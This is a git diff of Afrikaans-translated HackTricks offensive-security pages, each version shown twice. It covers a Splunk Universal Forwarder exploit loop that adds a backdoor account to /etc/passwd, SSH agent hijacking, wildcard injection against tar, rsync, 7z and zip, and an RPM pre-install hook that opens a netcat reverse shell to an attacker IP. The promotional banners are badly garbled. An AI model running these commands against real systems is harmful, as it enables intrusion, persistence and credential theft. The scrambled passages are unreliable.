'n Exploit wat die Splunk Universele Voorouer Agent (UF) teiken, laat aanvallers met die agent wagwoord toe om arbitrêre kode op stelsels wat die agent uitvoer, uit te voer, wat moontlik 'n hele netwerk in gevaar stel.
|
||||
|
||||
**Kernpunte:**
|
||||
- Die UF-agent valideer nie inkomende verbindings of die egtheid van kode nie, wat dit vatbaar maak vir ongemagtigde kode-uitvoering.
|
||||
- Gewone metodes vir die verkryging van wagwoorde sluit in die vind daarvan in netwerkgidslys, lêerdeling of interne dokumentasie.
|
||||
- Suksesvolle uitbuiting kan lei tot toegang op die vlak van SYSTEM of root op gekompromitteerde gasheer, data-uitvoer en verdere netwerkinfiltrasie.
|
||||
**Belangrike Punten:**
|
||||
- Die UF-agent valideer nie inkomende verbindings of die egtheid van kode nie, wat dit kwesbaar maak vir ongeoorloofde kode-uitvoering.
|
||||
- Algemene wagwoord verkrygingsmetodes sluit in om hulle in netwerk gidse, lêer deel, of interne dokumentasie te vind.
|
||||
- Suksesvolle uitbuiting kan lei tot SYSTEM of root vlak toegang op gecompromitteerde gashere, data-uitvloeiing, en verdere netwerk infiltrasie.
|
||||
|
||||
**Uitbuiting van Exploit:**
|
||||
1. Aanvaller verkry die UF-agentwagwoord.
|
||||
2. Maak gebruik van die Splunk API om opdragte of skripte na die agente te stuur.
|
||||
3. Moontlike aksies sluit lêeronttrekking, manipulasie van gebruikersrekeninge en stelselkompromittering in.
|
||||
**Exploit Uitvoering:**
|
||||
1. Aanvaller verkry die UF-agent wagwoord.
|
||||
2. Gebruik die Splunk API om opdragte of skripte na die agente te stuur.
|
||||
3. Mogelijke aksies sluit lêer ekstraksie, gebruikersrekening manipulasie, en stelsel kompromie in.
|
||||
|
||||
**Impak:**
|
||||
- Volledige netwerkbenadeling met SYSTEM/root-vlak-toestemmings op elke gasheer.
|
||||
- Moontlikheid om logboekinskrywings te deaktiveer om opsporing te ontduik.
|
||||
- Installasie van agterdeure of losprysware.
|
||||
- Volledige netwerk kompromie met SYSTEM/root vlak toestemmings op elke gasheer.
|
||||
- Potensiaal om logging te deaktiveer om opsporing te ontduik.
|
||||
- Installering van agterdeure of ransomware.
|
||||
|
||||
**Voorbeeldopdrag vir Uitbuiting:**
|
||||
**Voorbeeld Opdrag vir Exploit:**
|
||||
```bash
|
||||
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
|
||||
```
|
||||
**Bruikbare openbare exploits:**
|
||||
**Gebruikbare openbare exploits:**
|
||||
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
* https://www.exploit-db.com/exploits/46238
|
||||
* https://www.exploit-db.com/exploits/46487
|
||||
|
||||
|
||||
## Misbruik van Splunk-aanvragen
|
||||
## Misbruik van Splunk-vrae
|
||||
|
||||
**Vir verdere besonderhede, kyk na die pos [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
|
||||
|
||||
Die **CVE-2023-46214** het dit moontlik gemaak om 'n willekeurige skripsie na **`$SPLUNK_HOME/bin/scripts`** te laai en het toe verduidelik dat dit moontlik was om die skripsie wat daar gestoor is, uit te voer deur die soekvraag **`|runshellscript script_name.sh`** te gebruik.
|
||||
{% h*nt styCe="Vacceas" %}
|
||||
AWS Ha& praktyk ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Leer & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
<dtil>
|
||||
|
||||
<details>
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
*Kontroleer die [**subsrippangithub.cm/sorsarlosp!
|
||||
* Kontroleer die [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Sluit aan 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien aan die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,59 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Opsomming
|
||||
# Samevatting
|
||||
|
||||
Wat kan jy doen as jy binne die `/etc/ssh_config` of binne `$HOME/.ssh/config`-konfigurasie hierdie ontdek:
|
||||
Wat kan jy doen as jy ontdek dat daar binne die `/etc/ssh_config` of binne `$HOME/.ssh/config` konfigurasie hierdie is:
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
As jy root binne die masjien is, kan jy waarskynlik **toegang verkry tot enige ssh-verbinding wat deur enige agent gemaak is** wat jy in die _/tmp_ gids kan vind.
|
||||
As jy root binne die masjien is, kan jy waarskynlik **enige ssh-verbinding wat deur enige agent gemaak is, toegang verkry** wat jy in die _/tmp_ gids kan vind.
|
||||
|
||||
Impersonateer Bob deur een van Bob se ssh-agente te gebruik:
|
||||
Imiteer Bob met een van Bob se ssh-agent:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## Hoekom werk dit?
|
||||
## Waarom werk dit?
|
||||
|
||||
Wanneer jy die veranderlike `SSH_AUTH_SOCK` stel, het jy toegang tot die sleutels van Bob wat gebruik is in Bob se ssh-verbinding. As sy privaat sleutel nog daar is (normaalweg sal dit wees), sal jy in staat wees om enige gasheer daarmee te benader.
|
||||
Wanneer jy die veranderlike `SSH_AUTH_SOCK` stel, het jy toegang tot die sleutels van Bob wat in Bob se ssh-verbinding gebruik is. Dan, as sy private sleutel nog daar is (normaalweg sal dit wees), sal jy in staat wees om enige gasheer te benader met dit.
|
||||
|
||||
Aangesien die privaat sleutel in die geheue van die agent onversleutel is, vermoed ek dat as jy Bob is maar nie die wagwoord van die privaat sleutel weet nie, kan jy steeds toegang tot die agent verkry en dit gebruik.
|
||||
Aangesien die private sleutel in die geheue van die agent ongeënkripteer gestoor word, neem ek aan dat as jy Bob is maar jy weet nie die wagwoord van die private sleutel nie, jy steeds toegang tot die agent kan kry en dit kan gebruik.
|
||||
|
||||
'n Ander opsie is dat die gebruiker wat eienaar is van die agent en root moontlik toegang tot die geheue van die agent kan verkry en die privaat sleutel kan onttrek.
|
||||
'n Ander opsie is dat die gebruiker wat die agent besit en root moontlik toegang tot die geheue van die agent kan kry en die private sleutel kan onttrek.
|
||||
|
||||
# Lang verduideliking en uitbuiting
|
||||
|
||||
**Kyk na die [oorspronklike navorsing hier](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
|
||||
|
||||
**Kyk die [oorspronklike navorsing hier](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,44 @@
|
|||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Leer & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
*Kontroleer die [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Deel truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## chown, chmod
|
||||
|
||||
Jy kan **aandui watter lêiereienaar en toestemmings jy wil kopieer vir die res van die lêers**
|
||||
Jy kan **aangee watter lêer eienaar en toestemmings jy wil kopieer vir die res van die lêers**
|
||||
```bash
|
||||
touch "--reference=/my/own/path/filename"
|
||||
```
|
||||
Jy kan dit uitbuit deur gebruik te maak van [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(gekombineerde aanval)_\
|
||||
Meer inligting in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(gecombineerde aanval)_\
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Tar
|
||||
|
||||
**Voer willekeurige opdragte uit:**
|
||||
**Voer arbitrêre opdragte uit:**
|
||||
```bash
|
||||
touch "--checkpoint=1"
|
||||
touch "--checkpoint-action=exec=sh shell.sh"
|
||||
```
|
||||
Jy kan dit uitbuit deur gebruik te maak van [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar aanval)_\
|
||||
Meer inligting in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar aanval)_\
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Rsync
|
||||
|
||||
**Voer willekeurige opdragte uit:**
|
||||
**Voer arbitrêre opdragte uit:**
|
||||
```bash
|
||||
Interesting rsync option from manual:
|
||||
|
||||
|
@ -45,41 +49,50 @@ Interesting rsync option from manual:
|
|||
```bash
|
||||
touch "-e sh shell.sh"
|
||||
```
|
||||
Jy kan dit uitbuit deur gebruik te maak van [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(rsync-aanval)_\
|
||||
Meer inligting in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _aanval)_\
|
||||
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## 7z
|
||||
|
||||
In **7z** kan jy selfs deur `--` voor `*` te gebruik (let daarop dat `--` beteken dat die volgende inset nie as parameters behandel kan word nie, so net lêernaamspaaie in hierdie geval) 'n willekeurige fout veroorsaak om 'n lêer te lees, so as 'n opdrag soos die volgende deur root uitgevoer word:
|
||||
In **7z** selfs met `--` voor `*` (let daarop dat `--` beteken dat die volgende invoer nie as parameters behandel kan word nie, so net lêerpaaie in hierdie geval) kan jy 'n arbitrêre fout veroorsaak om 'n lêer te lees, so as 'n opdrag soos die volgende deur root uitgevoer word:
|
||||
```bash
|
||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
||||
```
|
||||
En jy kan lêers in die gids waar dit uitgevoer word, skep. Jy kan die lêer `@root.txt` en die lêer `root.txt` skep as 'n **symlink** na die lêer wat jy wil lees:
|
||||
En jy kan lêers in die gids skep waar dit uitgevoer word, jy kan die lêer `@root.txt` en die lêer `root.txt` skep wat 'n **symlink** na die lêer is wat jy wil lees:
|
||||
```bash
|
||||
cd /path/to/7z/acting/folder
|
||||
touch @root.txt
|
||||
ln -s /file/you/want/to/read root.txt
|
||||
```
|
||||
Dan, wanneer **7z** uitgevoer word, sal dit `root.txt` behandel as 'n lêer wat die lys van lêers bevat wat dit moet komprimeer (dit is wat die bestaan van `@root.txt` aandui) en wanneer 7z `root.txt` lees, sal dit `/file/you/want/to/read` lees en **aangesien die inhoud van hierdie lêer nie 'n lys van lêers is nie, sal dit 'n fout veroorsaak** wat die inhoud wys.
|
||||
Dan, wanneer **7z** uitgevoer word, sal dit `root.txt` behandel as 'n lêer wat die lys van lêers bevat wat dit moet saamgeperste (dit is wat die bestaan van `@root.txt` aandui) en wanneer dit `root.txt` lees, sal dit `/file/you/want/to/read` lees en **aangesien die inhoud van hierdie lêer nie 'n lys van lêers is nie, sal dit 'n fout gooi** wat die inhoud wys.
|
||||
|
||||
_Meer inligting in Write-ups van die boks CTF van HackTheBox._
|
||||
|
||||
## Zip
|
||||
|
||||
**Voer willekeurige opdragte uit:**
|
||||
**Voer arbitrêre opdragte uit:**
|
||||
```bash
|
||||
zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
```
|
||||
<details>
|
||||
```markdown
|
||||
{% hnt stye="acceas" %}
|
||||
AWS Ha& praktyk ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Opleiding AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Leer & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dtil>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
*Kontroleer die [**subsrippangithub.cm/sorsarlosp!
|
||||
* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Sluit aan 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
|
|
@ -1,55 +1,88 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Verdere voorbeelde rondom yum kan ook gevind word op [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
Verder voorbeelde rondom yum kan ook gevind word op [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
|
||||
|
||||
# Uitvoering van willekeurige opdragte via RPM-pakkette
|
||||
## Kontroleer die omgewing
|
||||
Om van hierdie vektor gebruik te maak, moet die gebruiker yum-opdragte kan uitvoer as 'n hoërbevoorregte gebruiker, d.w.s. root.
|
||||
# Uitvoering van arbitrêre opdragte via RPM Pakkette
|
||||
## Kontroleer die Omgewing
|
||||
Om hierdie vektor te benut, moet die gebruiker in staat wees om yum-opdragte as 'n hoër bevoorregte gebruiker, d.w.s. root, uit te voer.
|
||||
|
||||
### 'n Werkende voorbeeld van hierdie vektor
|
||||
'n Werkende voorbeeld van hierdie uitbuiting kan gevind word in die [daily bugle](https://tryhackme.com/room/dailybugle) kamer op [tryhackme](https://tryhackme.com).
|
||||
'n Werkende voorbeeld van hierdie ontploffing kan gevind word in die [daily bugle](https://tryhackme.com/room/dailybugle) kamer op [tryhackme](https://tryhackme.com).
|
||||
|
||||
## Verpak 'n RPM
|
||||
In die volgende afdeling sal ek verpakking van 'n omgekeerde skulp in 'n RPM dek met behulp van [fpm](https://github.com/jordansissel/fpm).
|
||||
## Pakketteer 'n RPM
|
||||
In die volgende afdeling sal ek die verpakking van 'n omgekeerde shell in 'n RPM met behulp van [fpm](https://github.com/jordansissel/fpm) behandel.
|
||||
|
||||
Die voorbeeld hieronder skep 'n pakkie wat 'n voor-installasie-trigger insluit met 'n willekeurige skrips wat deur die aanvaller gedefinieer kan word. Wanneer dit geïnstalleer word, sal hierdie pakkie die willekeurige opdrag uitvoer. Ek het 'n eenvoudige voorbeeld van 'n omgekeerde netcat-skulp gebruik vir demonstrasie, maar dit kan na wense verander word.
|
||||
Die voorbeeld hieronder skep 'n pakket wat 'n voor-installeer-triggere insluit met 'n arbitrêre skrip wat deur die aanvaller gedefinieer kan word. Wanneer dit geïnstalleer word, sal hierdie pakket die arbitrêre opdrag uitvoer. Ek het 'n eenvoudige omgekeerde netcat shell voorbeeld gebruik vir demonstrasie, maar dit kan soos nodig verander word.
|
||||
```text
|
||||
EXPLOITDIR=$(mktemp -d)
|
||||
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
|
||||
RPMNAME="exploited"
|
||||
echo $CMD > $EXPLOITDIR/beforeinstall.sh
|
||||
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
|
||||
```
|
||||
# Die vang van 'n skulp
|
||||
Deur die bogenoemde voorbeeld te gebruik en aan te neem dat `yum` uitgevoer kan word as 'n gebruiker met hoër bevoegdhede.
|
||||
|
||||
1. **Oordra** die rpm na die gasheer.
|
||||
2. **Begin** 'n luisteraar op jou plaaslike gasheer soos die [voorbeeld netcat luisteraar](/shells/shells/linux#netcat).
|
||||
3. **Installeer** die kwesbare pakkie `yum localinstall -y exploited-1.0-1.noarch.rpm`
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
